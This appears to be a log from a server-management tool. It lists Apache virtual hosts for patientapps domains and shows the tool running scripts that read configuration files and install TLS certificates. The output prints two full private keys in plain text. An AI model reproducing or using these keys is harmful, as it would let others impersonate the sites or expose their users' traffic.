port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-15 06:00:55:
PUT: /tmp/pkp939030
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_cerner_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-15 06:00:55:
chmod 755 /tmp/pkp939030; /tmp/pkp939030; rm /tmp/pkp939030
2025-12-15 06:00:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf 1680
<VirtualHost *:80>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-15 06:00:55:
PUT: /tmp/pkp219969
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-15 06:00:55:
chmod 755 /tmp/pkp219969; /tmp/pkp219969; rm /tmp/pkp219969
2025-12-15 06:00:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt 5364
6b:b6:d5:39:c6:6d:6f:e7:8c:44:c1:95:80:1b:51:58
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBfzWDL+w/LHu2PX62hgSo7sBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMjIzWhcNMjYwMzE1MDUwMjIyWjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAti8ZVnZVa/qnBSfQTYed1ACG/XBUExjekQLQvymPpwwxtKzTduzY
dP8kN8bwcH1BYwUqr4pFpsj0ka/Sq2agbvTqDoOq5nOYttJ3xaNBu4DhH5hCcOQf
MBIGhITWkBZSrc+0IqMfFJB4ZyUnW8tqo4YLQlEgb9N0FbjGg6rxqlGPfAiSHdAp
Ehzix6e20ZPvbDB2yDudbdku8qKi3jlgBk/dT/jkXM+K7OPo/tF1TudnhN33zup1
gksK2BfRZt4RLQCUdHACQhJHINS/eJoKREq24Dqc1Cz5O460Cupstgpcb9SKjzH7
wvDPsZwXZNdEKylqdDp4yJrJj3oh1aZK6wIDAQABo4ICJDCCAiAwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBShc+/urB6H1xVHg2FpMYPozHUbcTAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCEGA1UdEQQaMBiCFmNlcm5lci5wYXRp
ZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCg
HoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yLmNybDCCAQMGCisGAQQB1nkCBAIE
gfQEgfEA7wB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmyCY
8vQAAAQDAEYwRAIgWbkBIclTfpwf6wavJZeIb8L+Wtcn4TGJoXkaBbRUrZYCIE04
mUNzf0buPyXBgCAH125j9PxcESCoSDizzGzn4vlzAHYA0W6ppWgHfmY1oD83pd28
A6U8QRIU1IgY9ekxsyPLlQQAAAGbIJjzzwAABAMARzBFAiBoN75P9ZIMSLLch4ky
6J/T8b1hPhvxEJ7ezWL0GhQQJwIhAP6uZpo0FZcTeeTDjeGzAwJ5ffc65kpoIHIV
mwGKMClwMA0GCSqGSIb3DQEBCwUAA4IBAQBLwCR6H5sDHhu3Bf+Q21qMm4W3GAKM
M9Hhbzng/9CWAh8yPAN0xvIVe+fwF5XozD6r+NVBiLsrZ6OtWeVhRVDFp+Lkl0b9
fo1vJ0bTTegyDGkAvCvfI1NaPPpN85tFMsPFTF34sBk6HdClKBf9J8oYr14o7m0u
v5oNN8iu+mo20+/EbpvLvnTGfBHlDOEYQG/vHWaMrY8pwSy4R7qwp3tcwZqe/vv3
ucdOu14w+1aymc64N0ilRPQfYN+BHskqLHGzaCevbNbi8S3TvIqn7VX3O3eyxYFo
0YJGDWHiyq09mWEbuof3cjUPl9Rl2flMe6Fysm4WH4VkHhdL6DyIW11E
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC2LxlWdlVr+qcF
J9BNh53UAIb9cFQTGN6RAtC/KY+nDDG0rNN27Nh0/yQ3xvBwfUFjBSqvikWmyPSR
r9KrZqBu9OoOg6rmc5i20nfFo0G7gOEfmEJw5B8wEgaEhNaQFlKtz7Qiox8UkHhn
JSdby2qjhgtCUSBv03QVuMaDqvGqUY98CJId0CkSHOLHp7bRk+9sMHbIO51t2S7y
oqLeOWAGT91P+ORcz4rs4+j+0XVO52eE3ffO6nWCSwrYF9Fm3hEtAJR0cAJCEkcg
1L94mgpESrbgOpzULPk7jrQK6my2Clxv1IqPMfvC8M+xnBdk10QrKWp0OnjImsmP
eiHVpkrrAgMBAAECggEAKLpQxMaBhDktu3ZSF/L4cpuHkgLZmMdXgj2J4yJsbeDI
/+YfBBggr88WDq4XtF4cDwHpsAKOXaHRIvyWcSDpPsTbylDfFNPE0SIuCm3b1QoT
yddlCw3Edx+ge2GjAeUrqJWlZJTo7tT5Rb3Flbzc4x+lRrcSNE2mRvDe2DKQAg4G
mZIYW8LNazQyNP8xGPjcdfOEx9bI5Xa+var/lad7DtTlXR2loVcxSOK8oCYh0F2G
0khPmctGJ3SDDKkrLGdI6277U+aXXuab0dC8IkNvOybWn55+8uvS03dnNcR3UiWl
3iOKk4QWU+X4QlKrruOcZcGsJFTlj94gRMoXagZnoQKBgQDv1aZeu3qAMtg/JxgN
Glj8rTZvbMVRh9leNTefGgJC8bSwaAD/I+6Hh1NYPGQD/L7vAz9VOn6r8+HScB3f
FtgfjnO/zvZ2BPqQIYE6JiOHdgWjA6ueN3zySwWMayju5E8F8NbmvzG/M9q8F6t6
azfbNHBXZqugu/hrYK6cdjbKMQKBgQDCdq/jShixRtIzLwfggkUKSSNAsrajMLQZ
s2kSHjf5jU/YUW+7KhUOFscSrL9bk1g9PZOhBdeCtQhbhjf6tQuZeM9JEotCykbK
5FaCdOAO1+D+tgK1sGa/traA380BOXz+QpQouu8iDWUWccCzl9ZkqK+15ziZGPVU
DMA60ATD2wKBgD8J/0LjMF3F/4UJ945qIH254ZcEFhFKDd5vSoFtSq7h7UZ479og
TbAd59BHf1p08pLMXbc/OtBjuDWh9pgO3xvcS5xc//chc+Kyi88G+0u9v9mLO27I
0vS0t26jNA0mwYakOThJhP/m11WdOxtgVzws2mJ+wBntjmxa60qA4AHhAoGAaRBW
1yYhUSZCSwUN7G51fqklMr9bja+ynnAgRHmvJFUE3oqhIy4JUiNcSuqqOH/THMM4
D7doSGYmrcxGUl2edryewYwTUXKX7OaRFsqug1Z/aR5NOHymBs5grCA+UnsM3RJ7
mcXljTBPfWDYDC/s1VWOGWljWtPxOAfrk9rvuCECgYB42b4JuRAaq672oAMb1WiA
qUkEqLxZdQZgE5S/yssiNoLR2I0bXojQDTvhlIZgcPuahXARUB9WIB2o/Z/DdDai
ugsWyTizhD9h3Qoi4La/WS4aYfXgztLG37skkn8mnl9XYuBG5OHnZvIXwIfHWFx1
sUuDHuYWlxn0jjRuWdy/4w==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-15 06:00:55: Establishing a connection
2025-12-15 06:00:55: Establishing a connection
2025-12-15 06:00:55:
PUT: /tmp/pkp490217
#!/bin/bash
if [ -d "/var/www/patientapps_go/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-15 06:00:55:
chmod 755 /tmp/pkp490217; /tmp/pkp490217; rm /tmp/pkp490217
2025-12-15 06:00:55:
0
2025-12-15 06:01:20: Establishing a connection
2025-12-15 06:01:20:
PUT: /tmp/pkp848499
#!/bin/bash
temp_file=$(mktemp)
TARGET=8da89970bb61038d506425dda08af7c6.crt
cat > $temp_file <<'endmsg'
fc:29:4f:4e:39:4e:11:65:d6:8b:a7:d8:b9:dd:24:cd
-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBQvhiTe5jCt6ahEnrCu16UYfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMjQ5WhcNMjYwMzE1MDUwMjQ4WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDHxggXG6cNMnmZxYQrKJxQa4almAAmfeh4wA/9hfgr2/OogHY6LLCjw+gU
Jzdd7tLLo8BSQKXFbtq5bkiACiie1JMALkFFUd5oCmCHHcaKqMPgp5zNuO2BUjtP
KVaY/i5J8kvhNN7BpCxUtzMYmYEYHLE6SkugNMVnl0Id2dku5QsHkamuhl3LESS+
aAdlFpFnNzlMRVDimuxjoWEqfH2NEOTPoteye18LsjFttlR2NJBjKjPMHjHLfi2f
4eqeZT2X5lBAGcI4iIJg4ekZHt01SexMHZra+uC5ElEVOvNfMX74BGHsHXcnCi6I
74nXtZOPpEweXBQleif5ffR7EHSpAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFCSXNlRhf7dqcUVOy/pMSbgZEwdJMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wHQYDVR0RBBYwFIISZ28ucGF0aWVudGFwcHMu
bmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMzIuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDx
AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbIJla0AAABAMA
RzBFAiEAmkIUN+aQx41nr4Qg9aeHLRtosnZ3TYL2FZaaJleeeqcCIAtZcURvEZ4l
k1cl8p+qEvlOxKdsaRVmavFeKahe7BPtAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2
pPM2bkakPw/KqcYAAAGbIJlaqQAABAMASDBGAiEA46v+KSHYarP++3cVPS/PUo6f
i95Vm+8/vMe5wnq8wcMCIQC6xUDzB35aMSzUT0TgnKLJa1x/ntIrY6i9MdNX5aKh
AjANBgkqhkiG9w0BAQsFAAOCAQEAQpFoOQjkozimeYxFfkmGSzHhLNei97LYXrgR
id/yodZ68t1FfKOgqjZIbDfn6BDbov2d90XwHgDd0pvhlI9G/VKHUD3Qx+h4TRqT
DelX55U/lJ23uxdjUaCcw2eX0qecf/wfUO24im+rypIjOsn8KVIWMOLoqHb33NQr
kPjfLAb7RZJWVc62xJiPCNI4uFmtocHh64aaLZXMsQ9ZVgQOuar2rAiIVLp7DNbk
nl0FeIT2KYC/JQQIULkyecb56SzgBlidtgJOHGlhiOkf+vQKkWV6pMgMUHUyoTpL
wm97/rvVpJinenUC2TowULUJ+LC++9FsWuW3f64SL8gV0mASeg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHxggXG6cNMnmZ
xYQrKJxQa4almAAmfeh4wA/9hfgr2/OogHY6LLCjw+gUJzdd7tLLo8BSQKXFbtq5
bkiACiie1JMALkFFUd5oCmCHHcaKqMPgp5zNuO2BUjtPKVaY/i5J8kvhNN7BpCxU
tzMYmYEYHLE6SkugNMVnl0Id2dku5QsHkamuhl3LESS+aAdlFpFnNzlMRVDimuxj
oWEqfH2NEOTPoteye18LsjFttlR2NJBjKjPMHjHLfi2f4eqeZT2X5lBAGcI4iIJg
4ekZHt01SexMHZra+uC5ElEVOvNfMX74BGHsHXcnCi6I74nXtZOPpEweXBQleif5
ffR7EHSpAgMBAAECggEARzK33Wx4jAaKOhif8zXFCBBaa5gRraY//REOYd+mRBNe
8pXeDPuydJs0kkIrxGmCbRtORsJNkmDgySeZ5TA5q+m8/lp93rO/3Tqdjmo5QV/G
d8Gk69jVpLpm8t6bw2kLnEUjb/8EyOS2+/ZS2piS3sITE+A4tb84/6Nz5+mlMsXC
/WEjdR9+mTe4lJd9VhqIgGCVH7kmPGkSGNdMxFs003dIAbLeUZlj9NaBdDkoHcm/
ocNcMsyHKi6oSOeIT28BgSM0Gw0cHPVW9IfS9u2JcJPfcmHZ73AzOeO/fy9/THOK
8hoPhKU1KTIrCo0HuUuKc/pubGmd2G1vPL6X5vI2EQKBgQD1ZlKCKKsOdeO5PBUU
LO3Mbpxl1ZrR89Vrs8ld40/XPIeZ7GPwzS/wpQtVI5EuDT6ZPM6mKx0sO3jqDTzP
FmUqinoTSOKKYdYs0m6Fp0gSchjhe7MZCq9EYWF7p20RGnaJHzU8tJPcg3QaWqC5
Vz/6vmJK7soN7fBX32eq1Lyo9QKBgQDQZyqmQQxh29quyn81ZvYSQ6NenMAFt2sm
ucIvJRwsoDdyWyGHMjIE582UgKevAkwLCYVpPStlCoEFzilUlH3YPOJYA1BCuLRJ
PQ0JH5v5mDlF7mZywxCVB/GdqeC1V7y7R2YNFedARxxJBgzDvYya+1uPRupZwYaM
5vshxSscZQKBgQCEtuC6Waog+Oq+O9sefSnh3JQiksHW9+qdA69MYmnEeozPVsO5
8A4UM/4L/l8+q5UGJJeR0FFHoaZD1gLj8DWoKxnYIhu6QS0mMmvpRk25BBGmqFJ0
oY2mCpBA4oweqtQeVk1hVjt9D26T7h1r/t6wCZR49+k4XU0VCNI01jZtnQKBgHvU
YS4qRo47EYR8g/uaMyqFECSepSaAZuW6yJw0w7nsdSW46oInnDr39VqA26IMjlyc
iq4Oj6NZC3MEneBI30HGY4OCbIVItK8z3HQIWSiEf7uCvVMBfu/eqX1SPFfkSxtI
gGXUFvVFi5QEST9heJN6OVw3+fXdHPLKKHxXaJdVAoGACDteGt6OBh1kZSpppzIc
mGRIo/FxtqNZ4fJsPUg5IiI9/MzzLl8fXc4hDJS8dQZJGJsP9jLjbTMk4XRAP51p
wZ9SyNZLZrImrNRbc99pFWVkealMGS+sg0l6WdGg+qDln/QR0qWEBRgI3FVs6Hc/
zpztHZhJpLB/f4Ev/myRjoQ=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-15 06:01:20:
chmod 755 /tmp/pkp848499; /tmp/pkp848499; rm /tmp/pkp848499
2025-12-15 06:01:20:
dir=/etc/ssl/certs
2025-12-15 06:01:20:
PUT: /tmp/pkp372792
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_go_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-15 06:01:20:
chmod 755 /tmp/pkp372792; /tmp/pkp372792; rm /tmp/pkp372792
2025-12-15 06:01:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf 42
<VirtualHost *:80>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_access.log combined
ErrorLog /var/log/apache2/patientapps/go_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
